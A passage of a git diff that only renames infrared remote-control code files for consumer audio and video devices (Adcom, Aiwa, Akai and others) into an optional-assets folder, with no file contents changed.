to assets/resources/infrared/optional-assets/_CSV-IRDB_/Adcom/AV Preamplifier/26,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Adcom/CD Player/26,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Adcom/CD Player/26,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Adcom/CD Player/26,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Adcom/CD Player/26,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Adcom/Pre-Amplifier/232,26.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Adcom/Pre-Amplifier/232,26.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Adcom/Pre-Amplifier/232,26.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Adcom/Pre-Amplifier/232,26.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Adcom/Pre-Amplifier/26,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Adcom/Pre-Amplifier/26,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Adcom/Pre-Amplifier/26,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Adcom/Pre-Amplifier/26,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Adcom/Pre-Amplifier/26,232.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Adcom/Pre-Amplifier/26,232.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Adcom/Pre-Amplifier/26,232.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Adcom/Pre-Amplifier/26,232.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Adcom/Pre-Amplifier/81,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Adcom/Pre-Amplifier/81,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Adcom/Pre-Amplifier/81,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Adcom/Pre-Amplifier/81,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Adcom/Pre-Amplifier/88,23.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Adcom/Pre-Amplifier/88,23.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Adcom/Pre-Amplifier/88,23.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Adcom/Pre-Amplifier/88,23.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Adcom/Receiver/26,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Adcom/Receiver/26,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Adcom/Receiver/26,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Adcom/Receiver/26,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Adcom/Receiver/26,232.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Adcom/Receiver/26,232.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Adcom/Receiver/26,232.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Adcom/Receiver/26,232.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Adcom/Receiver/81,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Adcom/Receiver/81,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Adcom/Receiver/81,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Adcom/Receiver/81,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Adcom/Surround Processor/26,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Adcom/Surround Processor/26,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Adcom/Surround Processor/26,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Adcom/Surround Processor/26,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Adcom/Tuner/26,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Adcom/Tuner/26,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Adcom/Tuner/26,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Adcom/Tuner/26,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Adcom/Unknown/26,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Adcom/Unknown/26,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Adcom/Unknown/26,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Adcom/Unknown/26,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Adcom/Unknown/81,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Adcom/Unknown/81,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Adcom/Unknown/81,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Adcom/Unknown/81,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Adelphia/Cable Box/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Adelphia/Cable Box/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Adelphia/Cable Box/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Adelphia/Cable Box/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Adelphia/Cable Box/1,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Adelphia/Cable Box/1,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Adelphia/Cable Box/1,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Adelphia/Cable Box/1,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Adelphia/Cable Box/27,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Adelphia/Cable Box/27,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Adelphia/Cable Box/27,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Adelphia/Cable Box/27,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Advanced Acoustics/Unknown_Acoustic/36,75.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Advanced Acoustics/Unknown_Acoustic/36,75.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Advanced Acoustics/Unknown_Acoustic/36,75.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Advanced Acoustics/Unknown_Acoustic/36,75.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Aesthetix/Pre-Amplifier/16,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Aesthetix/Pre-Amplifier/16,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Aesthetix/Pre-Amplifier/16,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Aesthetix/Pre-Amplifier/16,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Airmate/Fan/3,1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Airmate/Fan/3,1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Airmate/Fan/3,1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Airmate/Fan/3,1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Aiwa/CD Player/118,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/CD Player/118,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Aiwa/CD Player/118,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/CD Player/118,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Aiwa/Cassette Tape/115,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Cassette Tape/115,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Aiwa/Cassette Tape/115,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Cassette Tape/115,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Aiwa/Mini System/110,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Mini System/110,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Aiwa/Mini System/110,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Mini System/110,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Aiwa/Receiver/12,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Receiver/12,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Aiwa/Receiver/12,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Receiver/12,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Aiwa/Receiver/13,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Receiver/13,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Aiwa/Receiver/13,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Receiver/13,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Aiwa/Receiver/16,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Receiver/16,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Aiwa/Receiver/16,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Receiver/16,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Aiwa/Receiver/18,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Receiver/18,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Aiwa/Receiver/18,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Receiver/18,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown/127,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown/127,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown/127,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown/127,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_AIWA-RC-5VP05/127,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_AIWA-RC-5VP05/127,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_AIWA-RC-5VP05/127,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_AIWA-RC-5VP05/127,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_AIWA/110,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_AIWA/110,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_AIWA/110,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_AIWA/110,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_AIWA/118,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_AIWA/118,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_AIWA/118,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_AIWA/118,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_AIWA/127,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_AIWA/127,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_AIWA/127,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_AIWA/127,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_AIWA/72,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_AIWA/72,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_AIWA/72,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_AIWA/72,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_AWIA-RC-ZVR04/128,123.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_AWIA-RC-ZVR04/128,123.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_AWIA-RC-ZVR04/128,123.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_AWIA-RC-ZVR04/128,123.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_HIFI/112,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_HIFI/112,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_HIFI/112,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_HIFI/112,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-6AS07/112,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-6AS07/112,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-6AS07/112,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-6AS07/112,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-7AS06/110,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-7AS06/110,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-7AS06/110,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-7AS06/110,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-8AS04/110,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-8AS04/110,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-8AS04/110,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-8AS04/110,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-8AT02/110,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-8AT02/110,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-8AT02/110,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-8AT02/110,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-AVT02/123,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-AVT02/123,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-AVT02/123,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-AVT02/123,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-BVR02/110,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-BVR02/110,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-BVR02/110,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-BVR02/110,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-C105/118,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-C105/118,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-C105/118,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-C105/118,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-CAS10/110,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-CAS10/110,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-CAS10/110,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-CAS10/110,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-L01/112,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-L01/112,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-L01/112,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-L01/112,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-L60E/110,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-L60E/110,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-L60E/110,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-L60E/110,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-T503/110,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-T503/110,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-T503/110,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-T503/110,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-T504/110,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-T504/110,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-T504/110,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-T504/110,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-TD3/112,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-TD3/112,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-TD3/112,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-TD3/112,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-TN320EX/110,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-TN320EX/110,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-TN320EX/110,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-TN320EX/110,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-TN330/110,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-TN330/110,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-TN330/110,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-TN330/110,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-TN360/110,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-TN360/110,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-TN360/110,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-TN360/110,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-TN500EX/110,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-TN500EX/110,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-TN500EX/110,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-TN500EX/110,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-TN520EX/110,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-TN520EX/110,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-TN520EX/110,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-TN520EX/110,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-X97/134,19.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-X97/134,19.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-X97/134,19.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-X97/134,19.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-XR-MD201/110,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-XR-MD201/110,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-XR-MD201/110,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-XR-MD201/110,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-ZAS02/110,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-ZAS02/110,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-ZAS02/110,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-ZAS02/110,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-ZAS10/110,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-ZAS10/110,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-ZAS10/110,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-ZAS10/110,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-ZAT04/112,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-ZAT04/112,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-ZAT04/112,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-ZAT04/112,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-ZVR02/127,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-ZVR02/127,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-ZVR02/127,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-ZVR02/127,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_S79/72,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_S79/72,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_S79/72,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_S79/72,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_hu/112,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_hu/112,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_hu/112,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_hu/112,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_rc-c003/118,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_rc-c003/118,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_rc-c003/118,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_rc-c003/118,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_rc-tn380b/110,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_rc-tn380b/110,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_rc-tn380b/110,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_rc-tn380b/110,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_rc-tz650/110,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_rc-tz650/110,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_rc-tz650/110,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_rc-tz650/110,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_rc6as14/110,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_rc6as14/110,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_rc6as14/110,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_rc6as14/110,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Aiwa/VCR/127,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/VCR/127,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Aiwa/VCR/127,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/VCR/127,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Aiwa/VCR/130,111.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/VCR/130,111.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Aiwa/VCR/130,111.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/VCR/130,111.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Akai/CD Player/141,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Akai/CD Player/141,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Akai/CD Player/141,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Akai/CD Player/141,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Akai/Unknown_AKAI-RC-AAV2100/160,160.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Akai/Unknown_AKAI-RC-AAV2100/160,160.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Akai/Unknown_AKAI-RC-AAV2100/160,160.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Akai/Unknown_AKAI-RC-AAV2100/160,160.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Akai/Unknown_Akai-RC-61A/11,11.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Akai/Unknown_Akai-RC-61A/11,11.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Akai/Unknown_Akai-RC-61A/11,11.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Akai/Unknown_Akai-RC-61A/11,11.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Akai/Unknown_Akai-RC-V23E/137,119.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Akai/Unknown_Akai-RC-V23E/137,119.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Akai/Unknown_Akai-RC-V23E/137,119.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Akai/Unknown_Akai-RC-V23E/137,119.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Akai/Unknown_RC-C79/141,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Akai/Unknown_RC-C79/141,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Akai/Unknown_RC-C79/141,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Akai/Unknown_RC-C79/141,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Akai/Unknown_RC-W152E/137,119.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Akai/Unknown_RC-W152E/137,119.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Akai/Unknown_RC-W152E/137,119.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Akai/Unknown_RC-W152E/137,119.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Akai/Unknown_akai/131,101.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Akai/Unknown_akai/131,101.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Akai/Unknown_akai/131,101.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Akai/Unknown_akai/131,101.ir diff --git 